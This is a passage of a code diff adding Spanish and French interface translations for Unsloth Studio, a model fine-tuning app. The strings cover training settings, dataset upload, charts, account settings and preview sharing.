+          "Para instalaciones desde un checkout local, ejecuta el instalador local desde ese checkout:",
+        docs: "Documentación de instalación:",
+        docsInstall: "Instalación",
+        docsUpdating: "Actualización",
+        docsMac: "Mac",
+        docsWindows: "Windows",
+      },
+    },
+  },
+  studio: {
+    routeTitle: "Entrenar",
+    title: "Studio de fine-tuning",
+    subtitles: {
+      configure: "Configura e inicia el entrenamiento",
+      trainingInProgress: "Entrenamiento en curso",
+      viewPastRuns: "Ver ejecuciones de entrenamiento anteriores",
+      viewingPastRun: "Viendo una ejecución anterior",
+    },
+    tabs: {
+      configure: "Configurar",
+      currentRun: "Ejecución actual",
+      history: "Historial",
+    },
+    loadingRuntime: "Cargando entorno de entrenamiento...",
+    backToHistory: "Volver al historial",
+    sections: {
+      model: "Modelo",
+      dataset: "Conjunto de datos",
+      params: "Parámetros",
+      training: "Entrenamiento",
+      charts: "Gráficas",
+      progress: "Progreso del entrenamiento",
+    },
+    configure: {
+      title: "Configurar",
+      description:
+        "Elige un modelo, un conjunto de datos y la configuración de entrenamiento.",
+      startTraining: "Iniciar entrenamiento",
+      starting: "Iniciando...",
+      loadingModel: "Cargando modelo...",
+      checkingDataset: "Comprobando conjunto de datos...",
+      trainingConfig: "Configuración de entrenamiento",
+    },
+    model: {
+      title: "Modelo",
+      description: "Selecciona el modelo base y el método de entrenamiento",
+      fasterTrainingBadge: "Entrenamiento 2x más rápido",
+      baseModel: "Modelo base",
+      localModel: "Modelo local",
+      localModelTooltip:
+        "Ruta a un modelo descargado localmente o a un repositorio de HF personalizado.",
+      scanningLocalAndCachedModels:
+        "Analizando modelos locales y en caché...",
+      scanning: "Analizando...",
+      scanningLocalModels: "Analizando modelos locales...",
+      noLocalModelsFound: "No se encontraron modelos locales",
+      noLocalModelsFoundManual:
+        "No se encontraron modelos locales. Introduce la ruta manualmente.",
+      failedToLoadLocalModels: "No se pudieron cargar los modelos locales",
+      hfCache: "Caché de HF",
+      customFolders: "Carpetas personalizadas",
+      localDir: "Directorio local",
+      huggingFaceModel: "Modelo de Hugging Face",
+      huggingFaceModelTooltip:
+        "Busca modelos en Hugging Face o elige de nuestra lista recomendada.",
+      searchModels: "Buscar modelos...",
+      searching: "Buscando...",
+      noModelsFound: "No se encontraron modelos",
+      needsVram: "Necesita ~{vram} GB de VRAM (GPU: {gpu} GB)",
+      tightVram: "~{vram} GB de VRAM (ajustado en {gpu} GB)",
+      vramEstimate: "~{vram} GB de VRAM",
+      method: "Método",
+      methodTooltip:
+        "QLoRA usa cuantización de 4 bits para la menor VRAM. LoRA usa 16 bits. Full actualiza todos los pesos. CPT (Continued Pretraining) entrena con texto sin procesar para adaptar el modelo a un nuevo dominio sin formato de chat.",
+      readMore: "Leer más",
+      fullFineTune: "Fine-tune completo",
+      checkingToken: "Comprobando token...",
+      getOrUpdateToken: "Obtener o actualizar token",
+      huggingFaceTokenOptional: "Token de Hugging Face (opcional)",
+      continuedPretraining: "Preentrenamiento continuo",
+      localModels: "Modelos locales",
+      localModelsFound: "{count} modelos locales/en caché encontrados",
+      loadingLocalModels: "Cargando modelos locales...",
+    },
+    dataset: {
+      title: "Conjunto de datos",
+      description: "Selecciona o sube datos de entrenamiento",
+      source: "Origen del conjunto de datos",
+      chooseDataset: "Elegir conjunto de datos",
+      chooseDatasetTooltip:
+        "Usa las pestañas emergentes para alternar entre Hugging Face y las salidas de recetas locales.",
+      localTab: "Local",
+      searchHuggingFaceDatasets:
+        "Buscar conjuntos de datos de Hugging Face...",
+      searchLocalDatasets: "Buscar conjuntos de datos locales...",
+      searching: "Buscando...",
+      noDatasetsFound: "No se encontraron conjuntos de datos",
+      loadingLocalDatasets: "Cargando conjuntos de datos locales...",
+      failedToLoadLocalDatasets:
+        "No se pudieron cargar los conjuntos de datos locales.",
+      noLocalDatasetsYet: "Aún no hay conjuntos de datos locales.",
+      noLocalDatasetsMatchSearch:
+        "Ningún conjunto de datos local coincide con la búsqueda.",
+      openDataRecipes: "Abrir Data Recipes",
+      browsingSource:
+        "Explorando {browsing}. La selección actual sigue siendo {current}.",
+      localDatasets: "Conjuntos de datos locales",
+      localDataset: "Conjunto de datos local",
+      localDatasetRows: " / {count} filas",
+      huggingFaceDataset: "Conjunto de datos de Hugging Face",
+      localDatasetMetadata: "Metadatos del conjunto de datos local",
+      dataRecipeOutput: "Salida de Data Recipe.",
+      rows: "Filas",
+      columns: "Columnas",
+      batches: "Lotes",
+      updated: "Actualizado",
+      evalDataset: "Conjunto de datos de evaluación",
+      uploading: "Subiendo...",
+      upload: "Subir",
+      uploadEvalFile: "Subir archivo de evaluación",
+      evalDatasetDescription:
+        "Opcional. Si no se proporciona, se separará una pequeña porción de los datos de entrenamiento.",
+      advanced: "Avanzado",
+      targetFormat: "Formato de destino",
+      targetFormatTooltip:
+        "Formato de tus datos de entrenamiento. La detección automática funciona para la mayoría de los conjuntos de datos.",
+      auto: "Automático",
+      rawText: "Texto sin procesar",
+      trainSplitStart: "Inicio de la partición de entrenamiento",
+      trainSplitStartTooltip:
+        "Entrena solo con un subconjunto de tu partición de entrenamiento especificando un índice de fila inicial (inclusivo, base 0). Déjalo vacío para empezar desde la primera fila.",
+      trainSplitEnd: "Fin de la partición de entrenamiento",
+      trainSplitEndTooltip:
+        "Último índice de fila a incluir de la partición de entrenamiento (inclusivo, base 0). Por ejemplo, pon Inicio en 0 y Fin en 99 para entrenar con las primeras 100 filas. Déjalo vacío para usar todas las filas restantes.",
+      endPlaceholder: "Fin",
+      clear: "Borrar",
+      dropFileOrClick: "Suelta 1 archivo aquí o haz clic para subir",
+      viewDataset: "Ver conjunto de datos",
+      uploadFailed: "La subida falló",
+      unknownError: "Error desconocido",
+      unsupportedFileType: "Tipo de archivo no admitido",
+      uploadOneFileType: "Sube un archivo {types}.",
+      datasetUploaded: "Conjunto de datos subido",
+      evalDatasetUploaded: "Conjunto de datos de evaluación subido",
+      uploadOneFileAtATime: "Sube un archivo a la vez",
+      uploadSingleFileDescription:
+        "La subida del conjunto de datos de entrenamiento acepta un solo archivo.",
+      checkingToken: "Comprobando token...",
+      getOrUpdateToken: "Obtener o actualizar token",
+      preview: "Vista previa del conjunto de datos",
+      split: "Partición",
+      subset: "Subconjunto",
+      s3: {
+        title: "Configuración de S3",
+        description:
+          "Carga conjuntos de datos .parquet, .json, .jsonl o .csv desde Amazon S3",
+        bucket: "Nombre del bucket",
+        bucketPlaceholder: "mi-bucket-de-datos-de-entrenamiento",
+        region: "Región de AWS",
+        regionPlaceholder: "us-east-1",
+        prefix: "Prefijo de ruta",
+        prefixPlaceholder: "datasets/whisper/",
+        prefixTooltip:
+          "Ruta opcional dentro del bucket hacia los archivos de tu conjunto de datos",
+        accessKeyId: "ID de clave de acceso",
+        accessKeyIdPlaceholder: "AKIAIOSFODNN7EXAMPLE",
+        secretAccessKey: "Clave de acceso secreta",
+        secretAccessKeyPlaceholder: "Tu clave de acceso secreta de AWS",
+        useIamRole: "Usar rol de IAM",
+        useIamRoleTooltip:
+          "Usa credenciales de rol de IAM en lugar de claves de acceso (recomendado para EC2/SageMaker)",
+        testConnection: "Probar conexión",
+        connectionSuccess: "Conexión al bucket de S3 exitosa",
+        connectionFailed: "No se pudo conectar al bucket de S3",
+        comingSoon: "Integración con S3 próximamente",
+        comingSoonDescription:
+          "La carga de conjuntos de datos desde S3 requiere boto3. Esta función está en desarrollo.",
+      },
+    },
+    params: {
+      title: "Parámetros",
+      description: "Configura los hiperparámetros de entrenamiento",
+      projectName: "Nombre del proyecto",
+      optional: "Opcional",
+      projectNameDescription:
+        "Se usa en los nombres de las carpetas de salida del entrenamiento, los valores predeterminados de exportación y el historial.",
+      loraSettings: "Configuración de LoRA",
+      trainingHyperparameters: "Hiperparámetros de entrenamiento",
+      maxSteps: "Pasos máximos",
+      epochs: "Épocas",
+      useMaxSteps: "Usar pasos máximos",
+      useEpochs: "Usar épocas",
+      maxStepsTooltip: "Anula el total de pasos del optimizador.",
+      epochsTooltip: "Número de pasadas completas sobre el conjunto de datos.",
+      epochsDescription:
+        "Cada época es una pasada completa sobre tu conjunto de datos.",
+      maxStepsDescription:
+        "Limita el entrenamiento a un número fijo de pasos del optimizador.",
+      contextLength: "Longitud de contexto",
+      contextLengthTooltip:
+        "Número máximo de tokens por muestra de entrenamiento.",
+      customContextLength: "Introduce un valor personalizado",
+      contextLengthDescription:
+        "Longitud máxima de secuencia para las muestras de entrenamiento",
+      learningRate: "Tasa de aprendizaje",
+      learningRateTooltip:
+        "Tamaño de paso para las actualizaciones de pesos. Valores más bajos entrenan más lento pero con mayor estabilidad.",
+      learningRateDescription:
+        "Recomendado: 2e-4 para LoRA, 5e-5 para CPT, 2e-5 para fine-tune completo",
+      embeddingLearningRate: "Tasa de aprendizaje de embeddings",
+      embeddingLearningRateTooltip:
+        "Solo se usa cuando CPT entrena embed_tokens. Los embeddings son más fáciles de desestabilizar que los pesos de LoRA, por lo que suelen necesitar una LR más pequeña. Déjalo en blanco para usar lr/10; el rango de trabajo típico es de 2x a 10x más pequeño que la LR principal. Auméntalo solo si la adaptación de vocabulario o de tokens de dominio es demasiado lenta.",
+      embeddingLearningRateDescription:
+        "Déjalo en blanco para usar lr/10 (recomendado). El rango típico es de 2x a 10x más pequeño que la tasa de aprendizaje principal.",
+      rank: "Rango",
+      rankTooltip:
+        "Dimensión de las matrices de bajo rango. Mayor = más capacidad.",
+      alpha: "Alpha",
+      alphaTooltip:
+        "Factor de escalado para las actualizaciones de LoRA. Normalmente 2x el rango.",
+      dropout: "Dropout",
+      dropoutTooltip:
+        "Probabilidad de dropout para las capas de LoRA para reducir el sobreajuste.",
+      visionLayers: "Capas de visión",
+      languageLayers: "Capas de lenguaje",
+      attentionModules: "Módulos de atención",
+      mlpModules: "Módulos MLP",
+      targetModules: "Módulos objetivo",
+      enableLora: "Habilitar LoRA",
+      trainWithLora: "Entrenar con LoRA",
+      stableRank: "Rango estable",
+      memoryEfficient: "Eficiente en memoria",
+      optimization: "Optimización",
+      schedule: "Programación",
+      memory: "Memoria",
+      optimizer: "Optimizador",
+      optimizerTooltip:
+        "Algoritmo de optimización. Las variantes de 8 bits reducen el uso de memoria. Se recomienda Fused para modelos de visión.",
+      lrScheduler: "Planificador de LR",
+      lrSchedulerTooltip:
+        "Cómo cambia la tasa de aprendizaje durante el entrenamiento. Linear decae de forma constante; cosine decae en una curva.",
+      optimizerOptions: {
+        adamw8bit: "AdamW 8 bits",
+        pagedAdamw8bit: "Paged AdamW 8 bits",
+        adamwBnb8bit: "AdamW BNB 8 bits",
+        pagedAdamw32bit: "Paged AdamW 32 bits",
+        adamwTorch: "AdamW (PyTorch)",
+        adamwTorchFused: "AdamW (PyTorch Fused)",
+      },
+      lrSchedulerOptions: {
+        linear: "Linear",
+        cosine: "Cosine",
+      },
+      batchSize: "Tamaño de batch",
+      batchSizeTooltip:
+        "Muestras procesadas por paso. Un valor más alto usa más VRAM.",
+      gradAccum: "Acum. de gradiente",
+      gradAccumTooltip:
+        "Simula tamaños de batch más grandes sin VRAM adicional.",
+      weightDecay: "Decaimiento de pesos",
+      weightDecayTooltip: "Regularización L2 para prevenir el sobreajuste.",
+      warmupSteps: "Pasos de calentamiento",
+      warmupStepsTooltip:
+        "Aumenta gradualmente la LR al inicio del entrenamiento para dar estabilidad.",
+      scheduleEpochsTooltip:
+        "Número de pasadas completas sobre el conjunto de datos. Pon 0 para ejecutar por pasos máximos.",
+      saveSteps: "Pasos entre guardados",
+      saveStepsTooltip: "Guarda un checkpoint cada N pasos. 0 para desactivar.",
+      evalSteps: "Pasos entre evaluaciones",
+      evalStepsTooltip:
+        "Fracción del total de pasos de entrenamiento entre evaluaciones (0-1). Pon 0 para desactivar la evaluación. P. ej. 0.01 = evaluar cada 1 % de los pasos.",
+      seed: "Semilla",
+      seedTooltip: "Semilla aleatoria para reproducibilidad.",
+      gradCheckpoint: "Checkpoint de gradiente",
+      gradCheckpointTooltip:
+        "Intercambia cómputo por memoria recalculando las activaciones.",
+      none: "Ninguno",
+      standard: "Estándar",
+      enablePacking: "Habilitar packing",
+      assistantCompletionsOnly: "Solo completaciones del asistente",
+      readMore: "Leer más",
+    },
+    training: {
+      title: "Entrenamiento",
+      description: "Monitorea y controla el entrenamiento",
+      chartNoDataTitle: "Aún no hay datos de entrenamiento",
+      chartNoDataDescription:
+        "Inicia el entrenamiento para ver el progreso de la pérdida",
+      startTraining: "Iniciar entrenamiento",
+      starting: "Iniciando...",
+      loadingModel: "Cargando modelo...",
+      checkingDataset: "Comprobando conjunto de datos...",
+      configLabel: "Configuración de entrenamiento",
+      upload: "Subir",
+      uploadConfigTooltip: "Carga una configuración YAML guardada",
+      save: "Guardar",
+      saveConfigTooltip: "Descarga la configuración actual como YAML",
+      reset: "Restablecer",
+      resetConfigTooltip: "Restablece a los valores predeterminados del modelo",
+      configLoaded: "Configuración cargada",
+      failedToLoadConfig: "No se pudo cargar la configuración",
+      invalidYamlFile: "Archivo YAML no válido",
+      failedToReadFile: "No se pudo leer el archivo",
+      parametersReset:
+        "Parámetros restablecidos a los valores predeterminados del modelo",
+      audioIncompatible:
+        "Este modelo no admite audio. Cambia a un modelo compatible con audio o elige un conjunto de datos sin audio.",
+      visionIncompatible:
+        "El modelo de texto no es compatible con un conjunto de datos multimodal. Cambia a un modelo de visión o elige un conjunto de datos solo de texto.",
+      cancelTitle: "Cancelar entrenamiento",
+      cancelDescription:
+        "¿Quieres cancelar la ejecución de entrenamiento actual?",
+      continueAction: "Continuar entrenamiento",
+      cancelAction: "Cancelar entrenamiento",
+      stopTitle: "Detener entrenamiento",
+      stopDescription:
+        "Elige cómo quieres detener la ejecución de entrenamiento actual.",
+      stopAction: "Detener",
+      stopping: "Deteniendo...",
+      stopAndSave: "Detener y guardar",
+      compareInChat: "Comparar en el chat",
+      exportModel: "Exportar modelo",
+      milestone: "Hito",
+      halfwayDone: "A mitad de camino. El entrenamiento superó el 50 %.",
+      doneNextStep:
+        "Entrenamiento terminado. Siguiente paso: comparar las salidas base y ajustadas.",
+    },
+    history: {
+      title: "Historial",
+      emptyTitle: "Aún no hay ejecuciones de entrenamiento",
+      emptyDescription:
+        "Aún no hay ejecuciones de entrenamiento. Inicia tu primera ejecución en la pestaña Configurar.",
+      loadError: "No se pudieron cargar las ejecuciones de entrenamiento",
+      deleteError:
+        "No se pudo eliminar la ejecución de entrenamiento. Inténtalo de nuevo.",
+      retry: "Reintentar",
+      loadMore: "Cargar más",
+      loading: "Cargando...",
+      loadingRun: "Cargando ejecución de entrenamiento...",
+      runNotFound: "Ejecución no encontrada",
+      deleteTitle: "¿Eliminar ejecución de entrenamiento?",
+      deleteDescription:
+        "Esto eliminará permanentemente esta ejecución de entrenamiento y todas sus métricas. Esta acción no se puede deshacer.",
+      runCount: "{count} ejecuciones",
+      oneRun: "1 ejecución",
+      resume: "Reanudar",
+      resumeTraining: "Reanudar entrenamiento",
+      resuming: "Reanudando...",
+      deleteRun: "Eliminar ejecución",
+      loss: "Pérdida",
+      steps: "Pasos",
+      lossTrendSparkline: "Minigráfica de tendencia de pérdida",
+      relativeJustNow: "justo ahora",
+      relativeMinutesAgo: "hace {count} min",
+      relativeHoursAgo: "hace {count} h",
+      relativeDaysAgo: "hace {count} d",
+      status: {
+        completed: "Completado",
+        stopped: "Detenido",
+        error: "Error",
+        running: "En ejecución",
+        continued: "Continuado",
+      },
+      message: {
+        completed: "Entrenamiento completado",
+        stopped: "Entrenamiento detenido",
+        running: "Entrenamiento en curso",
+        errored: "El entrenamiento tuvo un error",
+      },
+      copyPreviewLink: "Copiar enlace de vista previa",
+      previewLinkCopied: "Enlace de vista previa copiado",
+      previewLinkCopyFailed: "No se pudo copiar el enlace",
+    },
+    charts: {
+      settings: "Configuración de gráficas",
+      settingsDescription:
+        "Ajusta la presentación de las gráficas mientras el entrenamiento sigue en curso.",
+      openSettings: "Abrir configuración de gráficas",
+      viewWindow: "Ventana de visualización",
+      viewWindowDescription:
+        "Muestra solo los últimos pasos o todo el historial.",
+      window: "Ventana",
+      all: "Todo",
+      trainingLoss: "Pérdida de entrenamiento",
+      trainingLossDescription: "Controla las superposiciones y el suavizado EMA.",
+      smoothing: "Suavizado",
+      smoothingDescription:
+        "Mueve a la derecha para más suavizado. `0` = sin procesar.",
+      showRawLoss: "Mostrar pérdida sin procesar",
+      showSmoothedLoss: "Mostrar pérdida suavizada",
+      showAverageLine: "Mostrar línea de promedio",
+      scaleAndCleanup: "Escala y limpieza",
+      linear: "Lineal",
+      log: "Logarítmica",
+      noClip: "Sin recorte",
+      clipP99: "Recortar p99",
+      clipP95: "Recortar p95",
+      lossAxis: "Eje de pérdida",
+      gradientNormAxis: "Eje de norma del gradiente",
+      learningRateAxis: "Eje de tasa de aprendizaje",
+      resetDefaults: "Restablecer valores predeterminados",
+      loss: "Pérdida",
+      smoothed: "Suavizada",
+      evalLoss: "Pérdida de evaluación",
+      learningRate: "Tasa de aprendizaje",
+      lr: "LR",
+      gradNorm: "Norma de grad.",
+      gradientNorm: "Norma del gradiente",
+      step: "Paso {step}",
+      averageValue: "prom. {value}",
+      waitingForFirstEvaluationStep:
+        "Esperando el primer paso de evaluación...",
+      evaluationNotConfigured: "Evaluación no configurada",
+      evalChartWillAppear:
+        "La gráfica aparecerá cuando se alcance eval_steps",
+      setEvalDatasetAndSteps:
+        "Configura el conjunto de datos de evaluación y eval_steps para seguir la pérdida de evaluación",
+    },
+    progress: {
+      title: "Progreso del entrenamiento",
+      liveMetrics: "Métricas de entrenamiento en vivo",
+      exportGguf: "Exportar a GGUF",
+      openConfig: "Abrir configuración de entrenamiento",
+      configLabel: "Configuración de entrenamiento",
+      hyperparams: "Hiperparámetros",
+      epochs: "Épocas",
+      batchSize: "Tamaño de batch",
+      learningRate: "Tasa de aprendizaje",
+      optimizer: "Optimizador",
+      maxSteps: "Pasos máximos",
+      contextLength: "Longitud de contexto",
+      warmupSteps: "Pasos de calentamiento",
+      rank: "Rango",
+      alpha: "Alpha",
+      dropout: "Dropout",
+      variant: "Variante",
+      epoch: "Época {value}",
+      percentComplete: "{percent} % completado",
+      stepProgress: "Paso {current} / {total}",
+      loss: "Pérdida",
+      lr: "LR",
+      gradNorm: "Norma de grad.",
+      project: "Proyecto",
+      model: "Modelo",
+      method: "Método",
+      elapsed: "Transcurrido: {value}",
+      eta: "ETA: {value}",
+      stepsPerSecond: "{value} pasos/s",
+      noStepsPerSecond: "-- pasos/s",
+      tokens: "Tokens: {value}",
+      gpuMonitor: "Monitor de GPU",
+      live: "En vivo",
+      utilization: "Utilización",
+      temperature: "Temperatura",
+      vram: "VRAM",
+      power: "Potencia",
+      phase: {
+        idle: "Inactivo",
+        downloadingModel: "Descargando modelo",
+        downloadingDataset: "Descargando conjunto de datos",
+        loadingModel: "Cargando modelo",
+        loadingDataset: "Cargando conjunto de datos",
+        configuring: "Configurando",
+        training: "Entrenando",
+        completed: "Completado",
+        error: "Error",
+        stopped: "Detenido",
+      },
+    },
+    trainingStart: {
+      ready: "Listo",
+      downloading: "Descargando",
+      preparing: "Preparando",
+      left: "{eta} restante",
+      downloaded: "{size} descargado",
+      terminalStart: "> el entrenamiento de unsloth comienza...",
+      preparingResources: "> Preparando modelo y conjunto de datos...",
+      gettingReady:
+        "> Estamos dejando todo listo para tu ejecución...",
+      waitingForFirstStep:
+        "> {message} | esperando el primer paso... ({step})",
+      resumingTraining: "Reanudando entrenamiento...",
+      startingTraining: "iniciando entrenamiento...",
+      dataset: "Conjunto de datos",
+      datasetStreaming:
+        "Conjunto de datos: streaming (sin descarga completa)",
+      modelWeights: "Pesos del modelo",
+    },
+    tour: {
+      guidedTour: "Recorrido guiado",
+    },
+  },
+} satisfies DeepPartialMessageTree<typeof en>;
diff --git a/studio/frontend/src/i18n/locales/fr.ts b/studio/frontend/src/i18n/locales/fr.ts
new file mode 100644
index 0000000000..190284175d
--- /dev/null
+++ b/studio/frontend/src/i18n/locales/fr.ts
@@ -0,0 +1,1038 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import type { DeepPartialMessageTree } from "../types";
+import type { en } from "./en";
+
+export const fr = {
+  common: {
+    cancel: "Annuler",
+    close: "Fermer",
+    delete: "Supprimer",
+    done: "Terminé",
+    error: "Erreur",
+    export: "Exporter",
+    help: "Aide",
+    loading: "Chargement...",
+    new: "Nouveau",
+    rename: "Renommer",
+    save: "Enregistrer",
+    saving: "Enregistrement...",
+    search: "Rechercher",
+    shutdown: "Arrêter",
+  },
+  shell: {
+    beta: "BETA",
+    brand: "unsloth",
+    product: "Unsloth Studio",
+    accountMenu: "Menu du compte de {name}",
+    updateAvailable: "Mise à jour disponible",
+    aria: {
+      home: "Accueil Unsloth",
+      closeSidebar: "Fermer la barre latérale",
+      openSidebar: "Ouvrir la barre latérale",
+      chatOptions: "Options de discussion",
+      runOptions: "Options d'exécution",
+    },
+    navigation: {
+      newChat: "Nouvelle discussion",
+      returnToChat: "Retour à la discussion",
+      compare: "Comparer",
+      search: "Rechercher",
+      hub: "Hub",
+      train: "Entraîner",
+      recipes: "Recettes",
+      export: "Exporter",
+      recents: "Récents",
+      noChatsYet: "Aucune discussion pour le moment",
+      settings: "Paramètres",
+      api: "API",
+      lightMode: "Mode clair",
+      darkMode: "Mode sombre",
+      guidedTour: "Visite guidée",
+      help: "Aide",
+      logOut: "Se déconnecter",
+      shutdown: "Arrêter",
+    },
+    notFound: {
+      title: "Page introuvable",
+      description: "{path} n'existe pas.",
+      backToChat: "Retour à la discussion",
+    },
+    dialog: {
+      deleteChat: {
+        title: "Supprimer la discussion",
+        description: 'Voulez-vous vraiment supprimer cette discussion "{name}" ?',
+      },
+      deleteRun: {
+        title: "Supprimer l'entraînement",
+        description: 'Voulez-vous vraiment supprimer cet entraînement "{name}" ?',
+      },
+      renameChat: {
+        title: "Renommer la discussion",
+        placeholder: "Titre de la discussion",
+      },
+      renameRun: {
+        title: "Renommer l'entraînement",
+        placeholder: "Nom de l'entraînement",
+      },
+    },
+    toast: {
+      cannotDeleteRunningRun:
+        "Impossible de supprimer un entraînement en cours",
+      failedToDeleteChat: "Échec de la suppression de la discussion",
+      failedToDeleteRun: "Échec de la suppression de l'entraînement",
+      failedToRenameChat: "Échec du renommage de la discussion",
+      failedToRenameRun: "Échec du renommage de l'entraînement",
+    },
+  },
+  settings: {
+    title: "Paramètres",
+    dialog: {
+      title: "Paramètres",
+      description: "Gérez vos préférences Unsloth.",
+      closeAriaLabel: "Fermer les paramètres",
+    },
+    tabs: {
+      general: "Général",
+      profile: "Profil",
+      appearance: "Apparence",
+      resources: "Système",
+      chat: "Discussion",
+      connections: "Connexions",
+      apiKeys: "API",
+      about: "À propos",
+    },
+    general: {
+      title: "Général",
+      description: "Préférences globales pour Unsloth.",
+      account: "Compte",
+      huggingFaceToken: "Token Hugging Face",
+      huggingFaceTokenDescription:
+        "Utilisé pour charger des modèles restreints et publier des artefacts.",
+      hideToken: "Masquer le token",
+      showToken: "Afficher le token",
+      tokenSaved: "Token enregistré",
+      password: "Mot de passe",
+      passwordDescription:
+        "Changez le mot de passe de ce compte Studio.",
+      passwordDialog: {
+        trigger: "Changer le mot de passe",
+        title: "Changer le mot de passe",
+        description:
+          "Saisissez votre mot de passe actuel et choisissez-en un nouveau (au moins {minLength} caractères).",
+        currentPassword: "Mot de passe actuel",
+        newPassword: "Nouveau mot de passe",
+        confirmPassword: "Confirmer le nouveau mot de passe",
+        currentTooShort:
+          "Le mot de passe actuel doit comporter au moins {minLength} caractères.",
+        newTooShort:
+          "Le nouveau mot de passe doit comporter au moins {minLength} caractères.",
+        mismatch: "Les mots de passe ne correspondent pas.",
+        samePassword:
+          "Le nouveau mot de passe doit être différent de l'actuel.",
+        update: "Mettre à jour le mot de passe",
+        updating: "Mise à jour...",
+        updated: "Mot de passe mis à jour.",
+        updateFailed: "Échec de la mise à jour du mot de passe.",
+      },
+      chatDefaults: "Valeurs par défaut de discussion",
+      autoTitleNewChats: "Titrer automatiquement les nouvelles discussions",
+      autoTitleNewChatsDescription:
+        "Générer un titre court à partir du premier message.",
+      helperLlm: {
+        sectionTitle: "LLM assistant",
+        preloadOnStartup: "Précharger le LLM assistant au démarrage",
+        preloadOnStartupDescription:
+          "Télécharger le modèle assistant d'AI Assist en arrière-plan au démarrage. Désactivé par défaut ; AI Assist peut toujours le récupérer à la demande.",
+        disabledByEnv:
+          "Désactivé par UNSLOTH_HELPER_MODEL_DISABLE dans l'environnement du backend.",
+        loadError: "Échec du chargement des paramètres du LLM assistant.",
+        saveError: "Échec de l'enregistrement des paramètres du LLM assistant.",
+      },
+      modelAutoSwitch: {
+        sectionTitle: "Changement automatique de modèle (API OpenAI)",
+        enable: "Changer de modèle par requête",
+        enableDescription:
+          "Lorsqu'une requête compatible OpenAI nomme un autre GGUF téléchargé, le charger avant de répondre. Désactivé par défaut ; les noms inconnus continuent de servir le modèle chargé.",
+        idleUnload: "Déchargement automatique en cas d'inactivité",
+        idleUnloadDescription:
+          "Décharger le modèle après ce nombre de secondes d'inactivité pour libérer la VRAM ; la requête suivante le recharge. 0 le maintient chargé.",
+        idleNeedsEnable:
+          "Activez Changer de modèle par requête pour qu'un modèle déchargé se recharge à la prochaine utilisation.",
+        idleActiveViaEnv:
+          "Le déchargement automatique en cas d'inactivité est actif via la variable d'environnement UNSLOTH_MODEL_IDLE_TTL.",
+        loadError:
+          "Échec du chargement des paramètres de changement automatique de modèle.",
+        saveError:
+          "Échec de l'enregistrement des paramètres de changement automatique de modèle.",
+        idleError: "Saisissez un nombre entier de secondes (0 ou plus).",
+      },
+      previewSharing: {
+        sectionTitle: "Partage de l'aperçu",
+        enableLabel: "Liens d'aperçu publics",
+        enableDescription:
+          "Permettre à quiconque disposant d'un lien signé de discuter avec un modèle terminé, sans connexion. Désactivez pour mettre l'aperçu public hors ligne ; les liens partagés cessent de fonctionner.",
+        loadError: "Échec du chargement des paramètres de partage d'aperçu.",
+        saveError:
+          "Échec de l'enregistrement des paramètres de partage d'aperçu.",
+        revokeLabel: "Révoquer tous les liens d'aperçu",
+        revokeDescription:
+          "Renouveler le secret de signature pour que tous les liens partagés cessent de fonctionner. Les liens nouvellement copiés continuent de fonctionner.",
+        revokeAction: "Révoquer les liens",
+        revoking: "Révocation...",
+        revokeConfirmTitle: "Révoquer tous les liens d'aperçu ?",
+        revokeConfirmDescription:
+          "Tous les liens d'aperçu que vous avez partagés cesseront de fonctionner immédiatement. Cette action est irréversible.",
+        revokeConfirmAction: "Révoquer tous les liens",
+        revoked: "Tous les liens d'aperçu ont été révoqués",
+        revokeError: "Impossible de révoquer les liens d'aperçu",
+      },
+      notifications: {
+        sectionTitle: "Notifications",
+        showLlamaUpdates: "Notifications de mise à jour de llama.cpp",
+        showLlamaUpdatesDescription:
+          "Notifier lorsqu'une nouvelle version de llama.cpp est disponible pour exécuter de nouveaux modèles. Désactivez si vous ne faites que de l'entraînement.",
+      },
+      gettingStarted: "Prise en main",
+      startOnboarding: "Démarrer l'intégration",
+      startOnboardingDescription:
+        "Rouvrir l'assistant de configuration sans modifier votre compte.",
+      startOnboardingAction: "Démarrer l'intégration",
+      uploads: {
+        sectionTitle: "Téléversements",
+        maxUploadSize: "Limite de téléversement du jeu de données d'entraînement",
+        maxUploadSizeDescription: "La valeur par défaut est {defaultSize} Mo.",
+      },
+      rag: {
+        sectionTitle: "Documents et RAG",
+        embeddingModel: "Modèle d'embedding",
+        embeddingModelDescription:
+          "Modèle Hugging Face ou chemin local utilisé pour indexer et rechercher vos documents. La valeur par défaut est {defaultModel}.",
+        reindexWarning:
+          "N'affecte que les documents nouvellement indexés. Téléversez à nouveau les documents existants après avoir changé de modèle.",
+        emptyError:
+          "Saisissez un identifiant de modèle Hugging Face ou un chemin local.",
+        loadError: "Échec du chargement du paramètre du modèle d'embedding.",
+        saveError: "Échec de l'enregistrement du modèle d'embedding.",
+        saved: "Modèle d'embedding enregistré.",
+        saveAnyway: "Enregistrer quand même",
+        resetAction: "Réinitialiser par défaut",
+      },
+      storage: {
+        sectionTitle: "Stockage",
+        modelsFolder: "Dossier des modèles",
+        modelsFolderDescription: "Emplacement de stockage des modèles téléchargés.",
+        openAction: "Ouvrir",
+        copyAction: "Copier le chemin",
+        copied: "Chemin copié",
+        openError: "Impossible d'ouvrir le dossier",
+        copyError: "Impossible de copier le chemin",
+      },
+      resetPreferences: {
+        sectionTitle: "Zone de danger",
+        label: "Réinitialiser toutes les préférences locales",
+        description:
+          "Efface les préférences locales uniquement. Les discussions, l'accès API et les paramètres stockés en base de données sont conservés.",
+        action: "Réinitialiser les préférences",
+        confirmTitle: "Réinitialiser toutes les préférences locales ?",
+        confirmDescription:
+          "Efface les préférences locales uniquement et recharge Unsloth. Les discussions, l'accès API et les paramètres stockés en base de données sont conservés.",
+        confirmAction: "Réinitialiser et recharger",
+      },
+    },
+    profile: {
+      title: "Profil",
+      description: "Comment votre profil apparaît dans Unsloth.",
+      changePicture: "Changer la photo de profil",
+      displayName: "Nom affiché",
+      nickname: "Comment Unsloth doit-il vous appeler ?",
+      nicknamePlaceholder: "Surnom",
+      nicknameSaved: "Nom préféré enregistré",
+      avatarShape: "Forme de la photo de profil",
+      avatarShapeCircle: "Cercle",
+      avatarShapeRounded: "Arrondi",
+      chooseSloth: "Ou choisissez un paresseux",
+      nameSaved: "Nom de profil enregistré",
+      namePersistErrorTitle: "Impossible d'enregistrer le nom de profil",
+      namePersistErrorDescription:
+        "Nom mis à jour pour cette session, mais il pourrait ne pas persister après rechargement.",
+      photoUpdated: "Photo de profil mise à jour",
